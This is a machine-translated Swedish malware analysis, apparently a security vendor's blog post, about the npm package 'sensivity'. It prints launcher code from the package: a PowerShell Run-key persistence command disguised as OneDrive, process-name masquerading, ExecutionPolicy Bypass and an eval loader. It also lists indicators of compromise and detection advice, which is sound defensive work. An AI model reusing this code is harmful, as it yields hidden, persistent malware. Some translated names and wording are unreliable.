PairLoop: Dold fjärrkontrollpanel i npm-paketet

PairLoop: Ett npm-paket, sjuttio versioner och en dold Windows-fjärrkontrollpanel

TL; DR

npm-paketet känslighet beskriver sig själv som en "Känslighetskontrollpanel". I Windows fungerar den som ett fjärrkontroll- och övervakningsverktyg.

Dess ingångspunkt, launcher.js, byter namn på sin egen process till Runtime Broker, skriver ett autostart-värde för Run-key med namnet OneDriveUpdate som omstartar paketet via ett dolt VBScript, skapar PowerShell med -ExecutionPolicy Bypass, och utvärderar sedan en 171 KB obfuskerad servernyttolast tillsammans med en 6.87 MB nativ modul, sens.node.

Den betjänar en kontrollpanel för telefonparkoppling på TCP-port 3000 och läser den aktiva webbläsarens URL i adressfältet via Windows UIAutomation, och letar efter en hårdkodad YouTube-video.

Två delar som tidigare lästes som svarta lådor är nu lösta. Den obfuskerade servern, server.obf.js, använder ett obfuscator.io RC4 strängarrayschema; om dess avkodare implementeras offline (inget JavaScript körs) återställs en enda extern slutpunkt — https://izopi.com/check.php — tillsammans med en inbäddad offentlig RSA-nyckel som används för att verifiera signerade licenssvar.

Den inbyggda modulen, sens.node, är inte packad: dess importtabell och inbäddade strängar identifierar den som ett DirectX 11 / Dear ImGui-överlägg i spelet som tillhandahåller aimbot-, ESP (wall-hack) och triggerbot-funktioner, drivna av fjärrprocessinjektion och minnesläsningar/skrivningar.

Strängar inuti den refererar till fordonsenheter och kartplatser som överensstämmer med GTA V / FiveM. Npm-paketet är leverans- och persistensomslaget runt den nativa modulen.

Den avgörande signalen är operativ, inte teknisk: en enda anonym utgivare publicerade ungefär sjuttio versioner av ett paket – 2.5.0 genom 2.5.69 — under några dagar, var och en med samma raket.

Det finns inga installationer hooksNyttolasten körs bara när paketet startas.

Attacken: Hur den fungerar

sensivity levererar tio filer. package.json är gles: inget repository-fält, ingen licens, ett main- och två bin-alias (sensivity, sens) som alla pekar på launcher.js, och ett startskript för noden launcher.js. Det finns ingen postinstallation eller preinstallation. Ingenting utlöses vid npm-installation. Beteendet som beskrivs nedan körs när en användare startar paketet — via bin-shim, startskriptet eller ett krav.

Tar-filen innehåller startprogrammet, en obfuskerad server, den inbyggda modulen, ett Visual Basic-skript och en public/web-katalog för kontrollpanelen. launcher.js är den läsbara orkestratorn; logiken som spelar roll vid körning finns i de två blobbar som den laddar — en obfuskerad server och en kompilerad inbyggd modul, båda lösta nedan.

 Processmaskerad och en falsk OneDrive-uppdaterare

Tidigt i körningen anger launcher.js sitt eget processnamn två gånger:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker är en legitim Windows-process (RuntimeBroker.exe) som förmedlar appbehörigheter. Att byta namn på en Node-process så att den matchar den innebär att en snabb titt på Aktivitetshanteraren inte visar något ovanligt.

Persistence skrivs via PowerShell snarare än ett direkt register-API:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Autostartvärdet heter OneDriveUpdate och pekar inte direkt på paketet. Det pekar på wscript.exe som kör den medföljande OneDrive.Standalone.Updater.vbs. Skriptet startar om node launcher.js i ett dolt fönster. Både Run-tangentnamnet och VBScript-filnamnet lånar Microsofts varumärke, så autostartposten läses som en rutinmässig OneDrive-uppgift.

PowerShell med kringgående körningsprincip

Startprogrammet skickar upprepade gånger överföringar till PowerShell. Den disk som skanners flaggar som kritisk är starten av en genererad .ps1 med körningspolicyn inaktiverad:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass tar bort den lokala skriptsigneringskontrollen för det anropet. De genererade skripten hanterar webbläsarövervakningen och fönsteridentifieringsarbetet som beskrivs i nästa avsnitt.

Den obfuskerade servern och den inbyggda modulen

Efter installationen laddar och kör launcher.js sin verkliga nyttolast:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js är 171 KB av _0x-array-obfuskation — JavaScript-mönstret där varje sträng och identifierare ersätts av ett index i en blandad array, och sedan avreferenseras vid körning. Schemat är RC4-varianten producerad av obfuscator.io: en enda avkodningsfunktion base64-avkodar en arraypost och RC4-dekrypterar den sedan med en nyckel per anrop. Att implementera den avkodaren igen i ett separat skript — att bara köra omimplementeringen över den extraherade strängarrayen med 821 poster, aldrig paketets eget JavaScript — avvecklar det rent. Det som framträder är blygsamt men decisive: en extern URL, https://izopi.com/check.php`, tilldelad en LICENSE_URL-konstant; en inbäddad RSA PUBLIC_KEY_PEM`; den lokala panelen dirigerar /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off och /trigger/status; och strängarna child_process, crypto och [Sensivity] sens.node loaded — den sista är den exakta loggraden som startprogrammet skriver om till programmodulen loaded. Slutpunkten är en licenskontroll: klienten postar en identifierare (den obfuskerade servern formaterar ett Discord-ID: %s-sträng) och RSA-nyckeln verifierar serverns signerade svar.

sens.node är ett 6.87 MB kompilerat nativt tillägg, och det är inte packat — sektionsentropin ligger på 5.6–6.6 och PE-import- och exporttabellerna är intakta, så dess funktioner är läsbara direkt. Det exporterar napi_register_module_v1, standard Nodens N-API-ingångspunkt, så den utvärderade servern laddar den med ett vanligt krav. Dess importtabell är tell. Från KERNEL32 hämtar den OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules och Process32First/NextW — den kanoniska uppsättningen för att lokalisera en annan process, allokera minne inuti den och läsa eller skriva till det minnet. Från USER32 hämtar den GetAsyncKeyState, GetKeyState, mouse_event och SetCursorPos; den länkar d3d11.dll, D3DCOMPILER_43 och dwmapi för en överlagring på skärmen, och den fullständiga WINHTTP-uppsättningen för nätverksanrop. Dess inbäddade strängar namnger funktionsuppsättningen utan tvetydighet: Aktivera Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected och Dear ImGui-bannern Dear ImGui 1.91.3 WIP. Plats- och entitetssträngar som Grapeseed Medical Clinic och fordons-ESP-vokabulären är förenliga med GTA V / FiveM.

Uppdelningen är i praktiken avsiktlig: den läsbara launcher.js-filen innehåller bara de delar som en skanner enkelt läser – persistens, masquerade, själva eval-anropet – medan obfuskationen döljer den enda externa värden som kontakterna vid körning, och binärfilen innehåller logiken för spelöverlagring och processinjektion. Launchern är det tunna, granskningsbara skalet; den obfuskerade servern döljer nätverksidentiteten; den inbyggda modulen är nyttolasten. Vi beskriver binärfilens importer och strängar som lästa; vi härleder inte operatorns syfte från dem.

 En kontrollpanel för telefonparkoppling på port 3000

Startprogrammet hanterar en lokal webbserver på TCP-port 3000 och behandlar den som en singleton. Den frågar efter en befintlig lyssnare och rensar den innan den binder:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panelen nås på http://localhost:3000, med en hårdkodad LAN-reserv-URL på http://192.168.1.16:3000. Katalogen public/ och panelens beteende överensstämmer med ett QR-parningsflöde: en telefon skannar en kod och binder till värden som en fjärrkontroll. Ingen extern kommando- och kontrolldomän visas i klartext i startprogrammet – men, som deobfuskationen ovan visar, finns en sådan på den obfuskerade servern: izopi.com-licensslutpunkten. Panelen i sig är lokal och LAN-omfattad; den enda utgående värden är den licenskontrollen.

En fristående handledar-/arbetarmodell håller processen vid liv. Startprogrammet återstartar sig självt med miljöflaggor för SENSIVITY_SUPERVISOR och SENSIVITY_WORKER, där varje underprocess körs dolt, så om man avstänger en process lämnas en vakthund kvar som startar om den.

Webbläsarövervakning och YouTube Signal

Det mest specifika beteendet är webbläsarövervakning. launcher.js bygger PowerShell som driver Windows UIAutomation att läsa adressfältet i en aktiv webbläsare:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern returnerar textinnehållet i ett UI-element. Tillämpat på en webbläsares adressfältsredigeringskontroll returnerar den URL som offret för närvarande tittar på – utan ett webbläsartillägg, utan att vidröra profilen på disken och utan en API-hook. Det genererade skriptet itererar en $browserNames-lista och extraherar URL:en eller fönstertiteln för den webbläsare som är i förgrunden.

Den URL:en testas mot ett enda hårdkodat mål:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Startprogrammet avläser i en tresekundersloop ett webbläsarfönster som visar YouTube, och den genererade PowerShell-funktionen innehåller ett Get-YouTubeBrowser / Test-TargetYouTubeUrl-par som matchar det video-ID:t. Den observerbara effekten är tvåfaldig: den aktiva webbläsar-URL:en läses av från offrets skärm, och värdens interaktion med en specifik YouTube-video detekteras. Vi beskriver mekanismen och målet; vi härleder inte ett motiv från dem.

Adressfältsavläsningen är vad skannern märker sensitive_data_enumeration — en Process::env- och UIAutomation-källa som matar en nätverksklar runtime. Den ser ofarlig ut i sig och övergår bara till övervakning när datalivscykeln har spårats från UIAutomation-källan till den obfuskerade servern.

Tidslinje och versionsutveckling

Känsligheten är inte en engångsuppladdning. Utgivarens konto har ungefär sjuttio publicerade versioner av detta enda paket, och nya fortsatte att komma under granskningsfönstret. Startprogrammet växer funktion för funktion över 2.5.x-linjen medan dess persistens och nyttolast förblir oförändrade.

Datum (UTC) Observerade versioner Startarens tillstånd
2026-06-02 2.5.8 - 2.5.46 Lagring Bas QR-panelstartare; Beständighet för környckel; utvärdering av obfuskerad server.
2026-06-03 2.5.53 - 2.5.61 Lagring Samma fingeravtryck; spårningsundertryckning i konsolen.
2026-06-04 2.5.67, 2.5.68 Lagring Lägger till fäst YouTube-engagemangsmål wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 Lagring Återpublicering av luckor som fyller i hela sortimentet; övervakande aktör för handledare/arbetare.

Om man läser startprogrammet över nedladdade representanter — 2.5.0, 2.5.36 och 2.5.69 — visas fyra nivåer. De tidigaste versionerna har den grundläggande QR-parningsstartprogrammet. Från och med 2.5.33 visas UIAutomations adressfältsskördare. Från och med 2.5.58 läggs ett supervisor-hanteringslager till. Från och med 2.5.64 kompletterar den fristående supervisor/worker-övervakningsenheten uppsättningen. Genomgående förändras fyra saker aldrig: OneDriveUpdate Run-nyckeln, OneDrive.Standalone.Updater.vbs-droppern, den utvärderade server.obf.js och den inbyggda modulen sens.node.

Vågen 2026-06-05 är anmärkningsvärd eftersom den återpublicerade de lägre versionsnumren – 2.5.0 till 2.5.15 – som ligger under de versioner som bekräftades dagar tidigare. Effekten är en sammanhängande 2.5.x-rad i registret, där varje version har samma startprogram.

Indikatorer för kompromiss

Alla indikatorer nedan lästes direkt från paketet tarball. Den läsbara startfilen har endast loopback och en enda privat LAN-adress; det enda externa värdnamnet, izopi.com, återställdes genom att deobfuska server.obf.js offline.

Typ Indikator Anmärkningar
Paket npm:sensivity (≈70 versioner, 2.5.0-2.5.69) Utgivare i ett enda paket; inget arkiv; olicensierad.
Fil launcher.js Läsbar orchestrator; huvud- och bin-mål.
Fil server.obf.js (≈171 KB) obfuscator.io RC4 strängmatrisnyttolast, laddad via eval(fs.readFileSync(...)).
Fil sens.node (≈6.87 MB) PE32+ x86-64 Node N-API-tillägg; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Fil OneDrive.Standalone.Updater.vbs Dold omstartare (node launcher.js).
nätverks https://izopi.com/check.php Licens-/autentiseringsslutpunkten återställdes från den obfuskerade servern; inbäddad offentlig RSA-nyckel verifierar svaren.
Capability OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Fjärrinjektion av processer och läs-/skrivfunktion för minne.
Capability Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui-spelöverlägg som implementerar aimbot-, ESP- och triggerbot-funktioner.
register HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Autostartvärde pekar på wscript.exe och VBScript-startprogrammet.
Behandla process.title = 'Runtime Broker' Maskerad som den legitima Windows Runtime Broker-processen.
Behavioral powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Kringgång av körningsprincip som används för genererade PowerShell-skript.
Behavioral UIAutomation ValuePattern läsning av webbläsarens adressfält Läser URL:en till webbläsarfönstret i förgrunden.
Behavioral Målvideo-ID wJWta2lO0Lw3-sekunders YouTube-omröstning Fästad signal för övervakning av engagemang.
nätverks http://localhost:3000, reserv http://192.168.1.16:3000 QR-parningskontrollpanel exponerad lokalt och på LAN.
Miljö SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Fristående koordineringsflaggor för övervakningsprocesser.

Attribuering, påverkan och försvarare

Paketet publiceras av ett enda npm-konto vars angivna e-postadress är en overifierad Gmail-adress. Kontot har ett djupt negativt registerrykte, underhåller och publicerar endast detta enda paket och har inget länkat källkodsarkiv. Vi har inte verifierat ägarskapet av e-postadressen och vi tillskriver kampanjen till utgivarens konto, inte till någon namngiven individ. Startprogrammet har ingen klartextinfrastruktur, men den enda externa värden är nu känd: den obfuskerade servern kontaktar izopi.com för en licenskontroll, och den inbyggda modulen – läst från dess importtabell och strängar snarare än omvänd instruktion-för-instruktion – är ett spelöverlägg som injicerar i och läser minnet från en annan process.

Den observerbara effekten drabbar Windows-användare som installerar och kör Sensivity i förväntan om ett kontrollpanelsverktyg. På dessa värdar etablerar paketet autostartpersistens förklädd till en OneDrive-uppgift, byter namn på sig själv för att efterlikna en systemprocess, läser URL:en för det som användaren surfar på och skapar en parkopplingspanel som binder maskinen till en fjärrkontroll över det lokala nätverket. Övervaknings-/arbetsgruppens övervakningsfunktion innebär att en enskild processavstängning inte tar bort den; Run-tangentposten överlever omstarter. macOS och Linux är inte måltavlor för startprogrammet – persistens-, PowerShell- och UIAutomation-sökvägarna är endast för Windows.

Trenden att sjuttio versioner försvinner är värd att uppmärksamma. Att publicera om ett paket dussintals gånger på några dagar, inklusive att fylla i versionsnummer under de som redan tagits bort, behåller en aktiv kopia i registret mellan borttagningar och hindrar versionsbundna blocklistor. En blockeringspost för sensitivity@2.5.61 gör ingenting mot att sensitivity@2.5.3 publiceras om nästa dag.

Försvarare kan agera på följande sätt:

  • Blockera paketnamnets känslighet helt i registerproxy- och CI-tillåtelselistor. Att fästa enskilda versioner förlorar mot återpubliceringskadensen; namnet är den varaktiga indikatorn.
  • Leta efter ett Run-värde med namnet OneDriveUpdate vars data anropar wscript.exe mot en .vbs i en sökväg per användare. Den äkta OneDrive-uppdateraren är inte registrerad på det här sättet.
  • Avisering om en Node.js-process vars process.title är Runtime Broker. Den verkliga brokern är RuntimeBroker.exe, inte en Node-körning.
  • Flagga npm-hämtningar vid installationstid för paket som levererar ett kompilerat .node-tillägg plus en eval(fs.readFileSync(…)) av en syskon .obf.js-fil. Den parningen – ogenomskinlig nativ binärfil laddad bredvid en obfuskerad textnyttolast – är den strukturella indikatorn här, oberoende av någon sträng-IOC.
  • Behandla alla lokalt bundna lyssnare på port 3000 som skapats av en oväntad Node-process som misstänkta på hanterade Windows-slutpunkter.
  • Blockera eller varna för utgående förfrågningar till izopi.com från utvecklare eller slutanvändare; det är paketets enda externa slutpunkt, nådd på /check.php från den obfuskerade servern.
  • För alla medföljande .node-tillägg, kontrollera dess importtabell innan du litar på det. Kombinationen OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread är fjärrprocessinjektion oavsett vad paketet påstår sig göra; här sitter det bredvid ett Direct3D-överlägg och aimbot/ESP/triggerbot-strängar.

För statisk analys pipelines, övertygelseformen är hållbar över hela versionsskiftet: en installationsprofil som inte är kopplad till nätverket, en processtiteltilldelning till ett känt systemprocessnamn, en Run-key-skrivning via PowerShell och en utvärdering av en fil som lästs från disk. Inget av dessa är beroende av en domän, en IP-adress eller ett versionsnummer som nästa ompublicering kan rotera bort.

 Referensprojekt

[npm: känslighet] – registersida för paketversionsraden som diskuteras här; kan komma att tas bort.

sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten